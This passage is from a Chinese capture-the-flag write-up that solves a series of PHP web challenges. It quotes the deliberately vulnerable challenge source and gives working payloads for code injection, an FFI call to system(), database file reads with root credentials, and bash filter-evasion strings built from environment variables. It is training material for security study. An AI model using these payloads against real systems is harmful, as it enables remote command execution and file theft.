将这个函数贴在uaf脚本的比较靠前的位置,然后将脚本中的strlen换成strlen_user,然后在用burp编码发送数据包,结果得到了
就是按照群主的意思说是,这题可以这样做,但是这题还没有修复,等以后修复了就可以这样做
于是这题就可以变成前面那些直接构造payload的方法了,好像只留了一个
c=include("/flagc.txt");exit();
web-74
结果和上面一样,不过是flagx.txt
web-75~76
先查看flag是什么文件
c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit();
发现是flag36.txt
之前的题目中有好都见过他的数据库名字和密码,直接构造payload
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);
web-77
首先确定flag的位置和名称
c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit();
这里他的mysql不能用了,因为是PHP7.4,有个新特性
FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP的FFI扩展就是一个让你在PHP里调用C代码的技术。
paylaod
$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数
web-118
通过测试爆破很多字符不能用
看下面的执行结果,我们可以构造nl flag.php
root@baba:~# echo ${PWD}
/root
root@baba:~# echo ${PWD:1:1} //表示从第2(1+1)个字符开始的一个字符
r
root@baba:~# echo ${PWD:0:1} //表示从第1(0+1)个字符开始的一个字符
/
root@baba:~# echo ${PWD:~0:1} //表示从最后一个字符开始的一个字符
t
root@baba:~# echo ${PWD:~A} //字母代表0
t
所以可以利用各个环境变量的最后一位来构造命令。 ${PWD}在这题肯定是/var/www/html,而${PATH}通常是bin,那么${PWD:A}的结果就应该是’ l ‘,因为${PATH:A}的结果是’ n ',那么他们拼接在一起正好是nl,能够读取flag,因为通配符没有被过滤,所以可以用通配符代替flag.php
payload
${PATH:~A}${PWD:~A} ????.???
web-119~20
比上题多过滤了path
方法一:
可以构造出/bin/base64 flag.php,只需要/和4两个字符就行,其他的可以用通配符代替。
/很简单,pwd的第一位就是,因为这题ban了数字,所以可以用该题值必是1的${#SHLVL}绕过
SHLVL
是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${SHLVL}=1,然后在此shell中再打开一个shell时$SHLVL=2。
只需要${PWD::${SHLVL}},结果就是/
RANDOM
此变量值,随机出现整数,范围为0-32767。不过,虽然说是随机,但并不是真正的随机,因为每次得到的随机数都一样。为此,在使用RANDOM变量前,请随意设定一个数字给RANDOM,当做随机数种子,这样才不会每次产生的随机数其顺序都一样。
4的问题,可以用${#RANDOM},在Linux中,${#xxx}显示的是这个值的位数不加#是变量的值,加了#是变量的值的长度,例如12345的值是5,而random函数绝大部分产生的数字都是4位或者5位的,因此可以代替4.
payload:
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
上面那个需要多摇几次
方式二:
可以构造/bin/cat flag.php,需要t和/,${HOME}默认是/root,所以需要得到他的最后一个字母,容器的hostname应该是5个字母,所以${#HOSTNAME}可以从第5位开始,1还是用${#SHLVL}代替
payload:
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???
查看源码即可得到flag
web-121
源码
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}
?>
$#
$?
这两个的值都为0
加上#代表长度就为1
这题最关键的SHLVL被过滤了,可以用
${##}或${#?}
代替
code=${PWD::${##}}???${PWD::${##}}?????${#RANDOM} ????.???
code=${PWD::${#?}}???${PWD::${#?}}?????${#RANDOM} ????.???
hint中的payload
code=${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.???
使用的是/bin/rev读文件 把文件中每行逆序输出读取
用到了IFS
定义字段分隔字符。默认值为:空格符、tab字符、换行字符(newline) 长度为3
PWD为 /var/www/html
刚好第三个是r
可以匹配到/bin/rev
web-122
源码
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}
?>
这题在上题的基础上又过滤了
#
和
PWD
,PWD的绕过很简单,用HOME就可以,而#,就要用到
$?
了
$? 执行上一个指令的返回值 (显示最后命令的退出状态。0表示没有错误,其他任何值表明有错误)
所以在使用
$?
之前要先给错误的命令 让
$?
的值为1
${}
和
<A
可以但是题目上
${}
这个不可以
所以用
<A
后边的数字4还是用
RANDOM
随机数来获取
payload:
code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
web-124
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
这道题给我们留了很多的数学函数,我们发现其中基本全是php中可用使用的函数。而且很多是可用进行进制转换的。
我们来看下具体的函数
base_convert(number,frombase,tobase);
参数 描述
number 必需。规定要转换的数。
frombase 必需。规定数字原来的进制。介于 2 和 36 之间(包括 2 和 36)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。
tobase 必需。规定要转换的进制。介于 2 和 36 之间(包括 2 和 36)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。
bindec — 二进制转换为十进制
bindec ( string $binary_string ) : number
decbin — 十进制转换为二进制
decbin ( int $number ) : string
dechex — 十进制转换为十六进制
dechex ( int $number ) : string
decoct — 十进制转换为八进制
decoct ( int $number ) : string
hexdec — 十六进制转换为十进制
hexdec ( int $number ) : string
在这个题中,我们不能使用除题目白名单中给出的函数以外的任何字符。那我们的目的就是构造出字母或者构造出函数。
假设我们要构造出如下表达式
c=$_GETa&a=system&b=cat flag
我们需要构造的是其实只有 _GET,$我们可用使用,中括号可用花括号代替,小括号也是可以使用的。这时候我们想到了一个办法,如果可以构造出hex2bin函数就可以将16进制转换成字符串了。我们又可以用decoct将10进制转换成16进制。也就是可以将10进制转换成字符串。
那么问题来了,hex2bin怎么构造呢,这时候就需要用到base_convert了。
我们发现36进制中包含了所有的数字和字母,所有只需要将hex2bin按照36进制转换成10进制就可以了。
echo base_convert('hex2bin', 36, 10);
结果 37907361743
echo hexdec(bin2hex("_GET"));
结果 1598506324
现在我们要做的就是反过来了
base_convert('37907361743',10,36); hex2bin
base_convert('37907361743',10,36)(dechex('1598506324')); _GET
c=$pi=_GET;$$pi{abs}($$pi{acos})&abs=system&acos=tac f*
我们再把_GET进行替换
payload:c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos})&abs=system&acos=tac f*
版权归原作者 我叫萝卜头 所有, 如有侵权,请联系我们删除。